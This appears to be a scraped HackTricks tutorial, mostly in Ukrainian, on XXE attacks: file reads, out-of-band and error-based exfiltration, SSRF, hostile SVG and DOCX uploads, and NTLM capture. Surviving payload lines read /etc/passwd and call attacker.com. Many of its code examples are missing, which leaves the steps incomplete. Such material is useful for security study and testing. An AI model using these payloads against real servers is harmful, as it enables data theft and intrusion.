XXE - XEE - XML External Entity
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
XML - це мова розмітки, призначена для зберігання та транспортування даних, що має гнучку структуру, яка дозволяє використовувати описово названі теги. Вона відрізняється від HTML тим, що не обмежена набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на її початкову роль у технології AJAX.
Представлення даних через сутності: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як <
та >
, які відповідають <
та >
, щоб уникнути конфлікту з системою тегів XML.
Визначення елементів XML: XML дозволяє визначати типи елементів, описуючи, як елементи повинні бути структуровані та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
Визначення типу документа (DTD): DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.
Користувацькі та зовнішні сутності: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
Виявлення XXE за допомогою параметричних сутностей: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати техніки виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, щоб підтвердити вразливість.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
У цій атаці я збираюся перевірити, чи працює проста нова декларація СУТНОСТІ.
Спробуємо прочитати /etc/passwd
різними способами. Для Windows ви можете спробувати прочитати: C:\windows\system32\drivers\etc\hosts
У цьому першому випадку зверніть увагу, що SYSTEM "**file:///**etc/passwd" також буде працювати.
Цей другий випадок має бути корисним для витягування файлу, якщо веб-сервер використовує PHP (не випадок лабораторій Portswigger)
У цьому третьому випадку зверніть увагу, що ми оголошуємо Element stockCheck
як ANY
У Java-базованих додатках може бути можливим перелічити вміст директорії через XXE з корисним навантаженням, як (просто запитуючи директорію замість файлу):
XXE може бути використано для зловживання SSRF всередині хмари
Використовуючи раніше згадану техніку, ви можете змусити сервер отримати доступ до сервера, який ви контролюєте, щоб показати, що він вразливий. Але, якщо це не працює, можливо, це тому, що XML-ентитети не дозволені, в такому випадку ви можете спробувати використовувати XML-параметричні ентитети:
У цьому випадку ми змусимо сервер завантажити новий DTD з шкідливим корисним навантаженням, яке надішле вміст файлу через HTTP запит (для багаторядкових файлів ви можете спробувати витягти його через _ftp://_ використовуючи цей базовий сервер, наприклад xxe-ftp-server.rb). Це пояснення базується на Portswiggers lab here.
У даному шкідливому DTD проводиться серія кроків для витоку даних:
Структура така:
The steps executed by this DTD include:
Definition of Parameter Entities:
An XML parameter entity, %file
, is created, reading the content of the /etc/hostname
file.
Another XML parameter entity, %eval
, is defined. It dynamically declares a new XML parameter entity, %exfiltrate
. The %exfiltrate
entity is set to make an HTTP request to the attacker's server, passing the content of the %file
entity within the query string of the URL.
Execution of Entities:
The %eval
entity is utilized, leading to the execution of the dynamic declaration of the %exfiltrate
entity.
The %exfiltrate
entity is then used, triggering an HTTP request to the specified URL with the file's contents.
The attacker hosts this malicious DTD on a server under their control, typically at a URL like http://web-attacker.com/malicious.dtd
.
XXE Payload: Щоб експлуатувати вразливий додаток, зловмисник надсилає XXE payload:
Цей payload визначає XML параметричну сутність %xxe
і включає її в DTD. Коли її обробляє XML парсер, цей payload отримує зовнішній DTD з сервера зловмисника. Парсер потім інтерпретує DTD вбудовано, виконуючи кроки, викладені в шкідливому DTD, що призводить до ексфільтрації файлу /etc/hostname
на сервер зловмисника.
У цьому випадку ми змусимо сервер завантажити шкідливий DTD, який покаже вміст файлу всередині повідомлення про помилку (це дійсно лише в тому випадку, якщо ви можете бачити повідомлення про помилки). Приклад звідси.
Повідомлення про помилку парсингу XML, яке розкриває вміст файлу /etc/passwd
, може бути викликане за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається через наступні кроки:
Визначається XML параметрична сутність з назвою file
, яка містить вміст файлу /etc/passwd
.
Визначається XML параметрична сутність з назвою eval
, що включає динамічне визначення для іншої XML параметричної сутності з назвою error
. Ця сутність error
, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності file
як його ім'я.
Викликається сутність eval
, що призводить до динамічного визначення сутності error
.
Виклик сутності error
призводить до спроби завантажити неіснуючий файл, що викликає повідомлення про помилку, яке містить вміст файлу /etc/passwd
як частину імені файлу.
Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:
Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd
file.
Зверніть увагу, що зовнішній DTD дозволяє нам включати одну сутність всередину другої (eval
), але це заборонено в внутрішньому DTD. Тому ви не можете викликати помилку без використання зовнішнього DTD (зазвичай).
Отже, що робити з сліпими вразливостями XXE, коли взаємодії поза каналом заблоковані (зовнішні з'єднання недоступні)?
Лазівка в специфікації мови XML може викрити чутливі дані через повідомлення про помилки, коли DTD документа поєднує внутрішні та зовнішні декларації. Ця проблема дозволяє внутрішню перезапис сутностей, оголошених зовні, що полегшує виконання атак XXE на основі помилок. Такі атаки експлуатують перезапис сутності параметра XML, спочатку оголошеного в зовнішньому DTD, зсередини внутрішнього DTD. Коли з'єднання поза каналом заблоковані сервером, зловмисники повинні покладатися на локальні DTD файли для проведення атаки, намагаючись викликати помилку парсингу, щоб розкрити чутливу інформацію.
Розгляньте сценарій, де файловий простір сервера містить файл DTD за адресою /usr/local/app/schema.dtd
, що визначає сутність з назвою custom_entity
. Зловмисник може викликати помилку парсингу XML, розкриваючи вміст файлу /etc/passwd
, подавши гібридний DTD наступним чином:
Описані кроки виконуються цим DTD:
Визначення XML параметричної сутності з назвою local_dtd
включає зовнішній DTD файл, розташований на файловій системі сервера.
Відбувається повторне визначення для XML параметричної сутності custom_entity
, спочатку визначеної у зовнішньому DTD, щоб інкапсулювати експлойт на основі помилки XXE. Це повторне визначення призначене для викликання помилки парсингу, що відкриває вміст файлу /etc/passwd
.
Використовуючи сутність local_dtd
, залучається зовнішній DTD, що охоплює нововизначену custom_entity
. Ця послідовність дій призводить до виникнення повідомлення про помилку, яке є метою експлойту.
Приклад з реального світу: Системи, що використовують середовище робочого столу GNOME, часто мають DTD за адресою /usr/share/yelp/dtd/docbookx.dtd
, що містить сутність під назвою ISOamso
.
Оскільки ця техніка використовує внутрішній DTD, вам спочатку потрібно знайти дійсний. Ви можете зробити це, встановивши ту ж ОС / програмне забезпечення, що використовує сервер, і шукаючи деякі стандартні DTD, або отримавши список стандартних DTD в системах і перевіривши, чи існує хоча б один з них:
Для отримання додаткової інформації перегляньте https://portswigger.net/web-security/xxe/blind
У наступному чудовому репозиторії на github ви можете знайти шляхи DTD, які можуть бути присутніми в системі:
Більше того, якщо у вас є Docker-образ жертви, ви можете використовувати інструмент з того ж репозиторію, щоб сканувати образ і знайти шлях до DTD, що присутні в системі. Прочитайте Readme репозиторію на github, щоб дізнатися як.
Для більш детального пояснення цієї атаки, перегляньте другий розділ цього чудового посту від Detectify.
Можливість завантажувати документи Microsoft Office пропонується багатьма веб-додатками, які потім продовжують витягувати певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.
Щоб перевірити цю вразливість, необхідно створити файл Microsoft Office, що містить XXE payload. Першим кроком є створення порожньої директорії, в яку документ може бути розпакований.
Після розпакування документа, XML файл, розташований за адресою ./unzipped/word/document.xml
, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
Змінені XML рядки слід вставити між двома кореневими XML об'єктами. Важливо замінити URL на моніторинговий URL для запитів.
Нарешті, файл можна знову стиснути, щоб створити шкідливий poc.docx файл. З раніше створеної директорії "unzipped" слід виконати наступну команду:
Тепер створений файл можна завантажити до потенційно вразливого веб-додатку, і можна сподіватися на появу запиту в журналах Burp Collaborator.
Протокол jar доступний виключно в Java додатках. Він призначений для забезпечення доступу до файлів у PKZIP архіві (наприклад, .zip
, .jar
тощо), що охоплює як локальні, так і віддалені файли.
Щоб мати можливість отримувати доступ до файлів всередині PKZIP файлів, це надзвичайно корисно для зловживання XXE через системні DTD файли. Перевірте цей розділ, щоб дізнатися, як зловживати системними DTD файлами.
Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:
Виконується HTTP-запит для завантаження zip-архіву з вказаного місця, наприклад, https://download.website.com/archive.zip
.
HTTP-відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у місці на кшталт /tmp/...
.
Архів потім розпаковується для доступу до його вмісту.
Читається конкретний файл в архіві, file.zip
.
Після завершення операції будь-які тимчасові файли, створені під час цього процесу, видаляються.
Цікава техніка для переривання цього процесу на другому етапі полягає в тому, щоб підтримувати з'єднання з сервером відкритим безкінечно під час обслуговування архівного файлу. Інструменти, доступні в цьому репозиторії, можуть бути використані для цієї мети, включаючи Python-сервер (slow_http_server.py
) та Java-сервер (slowserver.jar
).
Запис файлів у тимчасовий каталог може допомогти ескалації іншої вразливості, що стосується обходу шляху (такої як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
На хостах Windows можливо отримати хеш NTML користувача веб-сервера, налаштувавши обробник responder.py:
і надіславши наступний запит
Тоді ви можете спробувати зламати хеш за допомогою hashcat
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на модифікацію елемента DOCTYPE
. Однак атака XInclude
пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод є ефективним навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
Щоб виконати атаку XInclude
, необхідно оголосити простір імен XInclude
, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як можна сформулювати таку атаку:
Check https://portswigger.net/web-security/xxe for more info!
Файли, завантажені користувачами до певних додатків, які потім обробляються на сервері, можуть експлуатувати вразливості в тому, як обробляються XML або файли, що містять XML. Загальні формати файлів, такі як офісні документи (DOCX) та зображення (SVG), базуються на XML.
Коли користувачі завантажують зображення, ці зображення обробляються або перевіряються на стороні сервера. Навіть для додатків, які очікують формати, такі як PNG або JPEG, бібліотека обробки зображень сервера також може підтримувати зображення SVG. SVG, будучи форматом на основі XML, може бути використаний зловмисниками для подання шкідливих SVG зображень, тим самим піддаючи сервер вразливостям XXE (XML External Entity).
Приклад такого експлойту показано нижче, де шкідливе SVG зображення намагається прочитати системні файли:
Інший метод полягає в спробі виконати команди через PHP "expect" обгортку:
У обох випадках формат SVG використовується для запуску атак, які експлуатують можливості обробки XML програмного забезпечення сервера, підкреслюючи необхідність надійної валідації введення та заходів безпеки.
Перевірте https://portswigger.net/web-security/xxe для отримання додаткової інформації!
Зверніть увагу, що перший рядок зчитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.
Прочитайте наступний пост, щоб дізнатися, як експлуатувати XXE, завантажуючи PDF файл:
PDF Upload - XXE and CORS bypassЯкщо POST-запит приймає дані у форматі XML, ви можете спробувати експлуатувати XXE у цьому запиті. Наприклад, якщо звичайний запит містить наступне:
Тоді ви можете надіслати наступний запит, з тим же результатом:
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “Content Type Converter“. Тут ви можете знайти цей приклад:
Інший приклад можна знайти тут.
Це працює лише якщо XML сервер приймає протокол data://
.
Ви можете використовувати ["Encode Recipe" з cyberchef тут ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) для перетворення в UTF-7.
Якщо веб використовує PHP, замість використання file:/
ви можете використовувати php wrappersphp://filter/convert.base64-encode/resource=
для доступу до внутрішніх файлів.
Якщо веб використовує Java, ви можете перевірити jar: protocol.
Трюк з https://github.com/Ambrotd/XXE-Notes Ви можете створити сущність всередині сущності, закодувавши її за допомогою html entities, а потім викликати її для завантаження dtd. Зверніть увагу, що HTML Entities, які використовуються, повинні бути числовими (як [в цьому прикладі](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
DTD приклад:
Витягти index.php
Якщо модуль PHP "expect" завантажено
Цей приклад натхненний https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
XLIFF (XML Localization Interchange File Format) використовується для стандартизації обміну даними в процесах локалізації. Це формат на основі XML, який в основному використовується для передачі локалізованих даних між інструментами під час локалізації та як загальний формат обміну для CAT (Computer-Aided Translation) інструментів.
Запит надсилається на сервер з наступним вмістом:
Однак цей запит викликає внутрішню помилку сервера, зокрема згадуючи про проблему з деклараціями розмітки:
Незважаючи на помилку, на Burp Collaborator зафіксовано запит, що вказує на певний рівень взаємодії з зовнішнім об'єктом.
Витік даних поза каналом Для витоку даних надсилається модифікований запит:
Цей підхід показує, що User Agent вказує на використання Java 1.8. Відзначеною обмеженням цієї версії Java є неможливість отримати файли, що містять символ нового рядка, такі як /etc/passwd, використовуючи техніку Out of Band.
Витік даних на основі помилок Щоб подолати це обмеження, використовується підхід на основі помилок. Файл DTD структурований наступним чином, щоб викликати помилку, яка включає дані з цільового файлу:
Сервер відповідає з помилкою, важливо відображаючи неіснуючий файл, що вказує на те, що сервер намагається отримати доступ до вказаного файлу:
Щоб включити вміст файлу в повідомлення про помилку, DTD-файл налаштовується:
Ця модифікація призводить до успішної ексфільтрації вмісту файлу, оскільки це відображається в виході помилки, надісланому через HTTP. Це вказує на успішну атаку XXE (XML External Entity), що використовує як Out of Band, так і Error-Based техніки для витягнення чутливої інформації.
Дійсний XML у форматі RSS для експлуатації вразливості XXE.
Простий HTTP запит до сервера атакуючого
Використання фільтра base64 у PHP
XMLDecoder - це клас Java, який створює об'єкти на основі XML-повідомлення. Якщо зловмисник зможе змусити додаток використовувати довільні дані в виклику методу readObject, він миттєво отримає виконання коду на сервері.
Витягти інформацію через HTTP, використовуючи власний зовнішній DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)